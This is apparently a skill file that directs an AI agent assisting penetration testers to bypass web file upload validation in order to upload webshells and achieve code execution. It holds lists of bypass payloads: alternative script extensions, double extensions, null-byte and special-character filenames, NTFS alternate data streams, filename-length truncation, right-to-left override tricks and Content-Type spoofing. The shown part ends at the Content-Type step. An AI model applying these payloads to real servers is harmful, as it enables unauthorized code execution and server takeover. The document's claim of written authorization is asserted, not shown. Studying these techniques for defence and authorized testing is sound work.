/file-upload-bypass

name: file-upload-bypass
description: >
  Guide file upload restriction bypass during authorized penetration testing.
keywords:
  - file upload bypass
  - upload shell
  - webshell upload
  - extension bypass
  - upload filter bypass
  - magic byte bypass
  - content-type bypass
  - upload RCE
  - unrestricted file upload
  - image upload exploit
  - upload polyglot
  - .htaccess upload
  - web.config upload
  - double extension
  - zip null byte
  - zip filename truncation
  - zip header mismatch
tools:
  - burpsuite
  - exiftool
  - ffuf
opsec: medium

File Upload Bypass

You are helping a penetration tester bypass file upload restrictions to achieve code execution or other impact on the target server. The application has a file upload feature with some form of validation that needs to be circumvented. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[file-upload-bypass] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A file upload endpoint (form, API, drag-and-drop)
• Ability to intercept and modify requests (Burp Suite or similar proxy)
• Know or can discover: server technology (PHP/ASP/JSP/Node), web server

(Apache/IIS/Nginx), where uploaded files land, whether they're directly accessible via URL

Step 1: Assess

If not already provided, determine: 1. **Server stack** — PHP/ASP.NET/JSP/Node/Python (check headers, error pages, default files) 2. **Web server** — Apache/IIS/Nginx (response headers, default error pages) 3. **Validation type** — what gets rejected? Try uploading:

• `test.php` (extension check)
• `test.txt` with `Content-Type: application/x-php` (content-type check)
• `test.txt` containing `<?php` (content inspection)
• Binary file with wrong extension (magic byte check)

4. **Upload location** — where do files land? Can you access them directly via URL? 5. **Processing** — does the server resize images, rename files, strip metadata?

Understanding which validations are in place determines which bypass to use. Skip if context was already provided.

Step 2: Extension Bypass

The most common restriction. Try these in order of reliability.

Alternative Extensions

Upload the same payload with different extensions for the target language:

# PHP (try each — server config determines which execute)
.php .php5 .php7 .phtml .pht .phar .phps .pgif .inc .hphp .module .shtml

# ASP/ASPX
.asp .aspx .ashx .asmx .config .cer .asa .cshtml .vbhtml

# JSP
.jsp .jspx .jsw .jsv .jspf .do .action

# Coldfusion
.cfm .cfml .cfc .dbm

# Perl
.pl .pm .cgi

Double Extensions

Exploit misconfigured servers that check only the last extension but execute based on the first recognized one:

shell.php.jpg          # Apache may execute as PHP if AddHandler is set
shell.php.png          # Same principle
shell.asp;.jpg         # IIS < 7.0 path parameter confusion
shell.aspx;1.jpg       # IIS semicolon truncation
shell.php.xxxxx        # Apache — unrecognized final ext, falls back to .php

**Reverse double extension** (Apache with misconfigured `AddHandler`):

shell.jpg.php          # Executes as PHP when AddHandler matches .php anywhere

Null Byte Injection

Works on older systems (PHP < 5.3.4, some Java implementations) for direct uploads:

shell.php%00.jpg       # URL-encoded null byte
shell.php\x00.jpg      # Literal null byte in multipart data
shell.php%00.png%00.jpg

**Important**: Null bytes in direct upload filenames require old PHP, but null bytes inside **ZIP entry filenames** work against modern PHP because truncation happens at the filesystem/extraction level, not PHP string handling. See Step 6 → ZIP Null Byte Filename Truncation.

Case Variation

Bypass case-sensitive blacklists:

shell.pHp    shell.Php    shell.pHP5    shell.PhAr
shell.aSp    shell.aSpX   shell.AsHx
shell.jSp    shell.jSpX

Special Characters

Bypass string-matching filters:

shell.php%20           # Trailing space (Windows strips it)
shell.php%0a           # Trailing newline
shell.php%0d%0a        # CRLF
shell.php.            # Trailing dot (Windows normalizes)
shell.php......        # Multiple dots
shell.php/            # Trailing slash
shell.php.\           # Trailing backslash (Windows)

NTFS Alternate Data Streams (Windows/IIS)

shell.asp::$data       # Bypasses extension check, IIS serves as ASP
shell.aspx::$data
shell.php::$data

Filename Length Overflow

Linux max filename: 255 bytes. Windows: 236 bytes. Craft a name where truncation removes the safe extension:

# 232 A's + .php + .gif — truncation drops .gif on Windows
AAAA[x232].php.gif

Right-to-Left Override (RTLO)

Unicode character `U+202E` reverses display order:

shell.%E2%80%AEphp.jpg    # Displays as shell.gpj.php in some contexts

Step 3: Content-Type & Magic Byte Bypass

Content-Type Manipulation

Change the `Content-Type` header in the upload request to an allowed MIME type:

Content-Type: image/png
Content-Type: image/jpeg
Content-Type: image/gif